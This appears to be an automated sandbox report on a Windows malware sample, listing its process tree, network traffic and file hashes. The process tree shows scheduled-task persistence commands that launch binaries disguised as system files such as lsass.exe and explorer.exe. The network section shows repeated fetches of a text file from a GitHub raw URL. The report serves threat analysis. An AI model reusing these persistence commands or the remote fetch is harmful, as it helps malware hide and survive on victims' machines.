C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"24⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1096 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\CPbxFudqw6.bat"25⤵PID:1668
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:226⤵PID:4944
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"26⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4684 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\a1lJXnITmE.bat"27⤵PID:3536
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:228⤵PID:900
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\providercommon\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:404
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\providercommon\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:780
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\providercommon\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3756
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "upfcu" /sc MINUTE /mo 13 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\upfc.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2288
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\upfc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3440
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "upfcu" /sc MINUTE /mo 6 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\upfc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4496
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4908
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5060
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2244
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\providercommon\RuntimeBroker.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4660
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\providercommon\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3600
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\providercommon\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2564
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2464
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3884
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2960
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\providercommon\lsass.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4740
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2580
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3304
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\explorer.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2072
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4792
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1636
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1260
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4856
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3224
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wininitw" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Media Player\wininit.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4052
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\wininit.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3016
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Media Player\wininit.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2924
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "DllCommonsvcD" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Mail\DllCommonsvc.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4592
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "DllCommonsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\DllCommonsvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:224
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "DllCommonsvcD" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Mail\DllCommonsvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3900
Network
-
Remote address:8.8.8.8:53Request228.249.119.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request172.214.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request69.31.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request133.211.185.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestraw.githubusercontent.comIN AResponseraw.githubusercontent.comIN A185.199.110.133raw.githubusercontent.comIN A185.199.109.133raw.githubusercontent.comIN A185.199.108.133raw.githubusercontent.comIN A185.199.111.133
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:56:14 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600049-LCY
X-Cache: HIT
X-Cache-Hits: 3
X-Timer: S1734828975.885335,VS0,VE0
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: 8ff0d3b8a269de8d3f528f6a5900dc2d62288a96
Expires: Sun, 22 Dec 2024 01:01:14 GMT
Source-Age: 121
-
Remote address:8.8.8.8:53Request133.110.199.185.in-addr.arpaIN PTRResponse133.110.199.185.in-addr.arpaIN PTRcdn-185-199-110-133githubcom
-
Remote address:8.8.8.8:53Request104.219.191.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request197.87.175.4.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request171.39.242.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request20.49.80.91.in-addr.arpaIN PTRResponse
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:56:30 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600070-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1734828991.552074,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: dfdf5d79bbbaa8eaea0c1a6402e4f58ca4326309
Expires: Sun, 22 Dec 2024 01:01:30 GMT
Source-Age: 136
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:56:46 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600025-LCY
X-Cache: HIT
X-Cache-Hits: 2
X-Timer: S1734829006.494309,VS0,VE0
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: 4a613b326aa30b2b059957271067f3824dfed23d
Expires: Sun, 22 Dec 2024 01:01:46 GMT
Source-Age: 152
-
Remote address:8.8.8.8:53Request81.144.22.2.in-addr.arpaIN PTRResponse81.144.22.2.in-addr.arpaIN PTRa2-22-144-81deploystaticakamaitechnologiescom
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:56:58 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600028-LCY
X-Cache: HIT
X-Cache-Hits: 3
X-Timer: S1734829018.409657,VS0,VE0
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: caa8c7a01d9552e3cfcbda657178f97164d65bbb
Expires: Sun, 22 Dec 2024 01:01:58 GMT
Source-Age: 164
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:57:07 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600048-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1734829028.567019,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: 1cabea2fcc4bb369afd1f4f62854feedb74789c1
Expires: Sun, 22 Dec 2024 01:02:07 GMT
Source-Age: 173
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:57:20 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600068-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1734829041.773037,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: 57da8526e98c175f195280c76835e2b0f32e12a0
Expires: Sun, 22 Dec 2024 01:02:20 GMT
Source-Age: 186
-
Remote address:8.8.8.8:53Request14.227.111.52.in-addr.arpaIN PTRResponse
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:57:30 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600035-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1734829051.562922,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: ecc74b2c60c469e38518cd5a4e6730253ff064cf
Expires: Sun, 22 Dec 2024 01:02:30 GMT
Source-Age: 196
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: DA94:39D8B8:441DE8:596B25:6766E7B4
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:57:45 GMT
Via: 1.1 varnish
X-Served-By: cache-lon4265-LON
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1734829065.002423,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: e8db15af06058ba04dfcd37fc7944aa4bf04de05
Expires: Sun, 22 Dec 2024 01:02:45 GMT
Source-Age: 200
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:57:58 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600023-LCY
X-Cache: HIT
X-Cache-Hits: 2
X-Timer: S1734829078.469661,VS0,VE0
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: 36b5010fb335f665d4f48f27241c45d7c55948db
Expires: Sun, 22 Dec 2024 01:02:58 GMT
Source-Age: 224
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:58:07 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600057-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1734829088.503809,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: dc2de567907d35172876d80f14676505bfbb3744
Expires: Sun, 22 Dec 2024 01:03:07 GMT
Source-Age: 233
-
Remote address:185.199.110.133:443RequestGET /justbio123/raven/main/api.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 4
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: text/plain; charset=utf-8
ETag: "e02d2a68e3127684593cad90a6339315a5353b0c3584608402c5a1bac4c9c6e4"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: BFDF:081B:57086:70797:6766E7BC
Accept-Ranges: bytes
Date: Sun, 22 Dec 2024 00:58:19 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600096-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1734829100.575494,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: a6fef0d1c14ae518c4dbff5d71a106d6914addc0
Expires: Sun, 22 Dec 2024 01:03:19 GMT
Source-Age: 245
-
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe897 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe897 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe897 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe861 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe897 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe897 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe861 B 5.1kB 8 10
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe897 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe897 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe914 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200 -
185.199.110.133:443https://raw.githubusercontent.com/justbio123/raven/main/api.txttls, httpTextInputHost.exe914 B 5.1kB 8 9
HTTP Request
GET https://raw.githubusercontent.com/justbio123/raven/main/api.txtHTTP Response
200
-
73 B 159 B 1 1
DNS Request
228.249.119.40.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.214.232.199.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
69.31.126.40.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
133.211.185.52.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
raw.githubusercontent.com
DNS Response
185.199.110.133185.199.109.133185.199.108.133185.199.111.133
-
74 B 118 B 1 1
DNS Request
133.110.199.185.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
104.219.191.52.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
197.87.175.4.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
171.39.242.20.in-addr.arpa
-
70 B 145 B 1 1
DNS Request
20.49.80.91.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
81.144.22.2.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
14.227.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5baf55b95da4a601229647f25dad12878
SHA1abc16954ebfd213733c4493fc1910164d825cac8
SHA256ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924
SHA51224f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
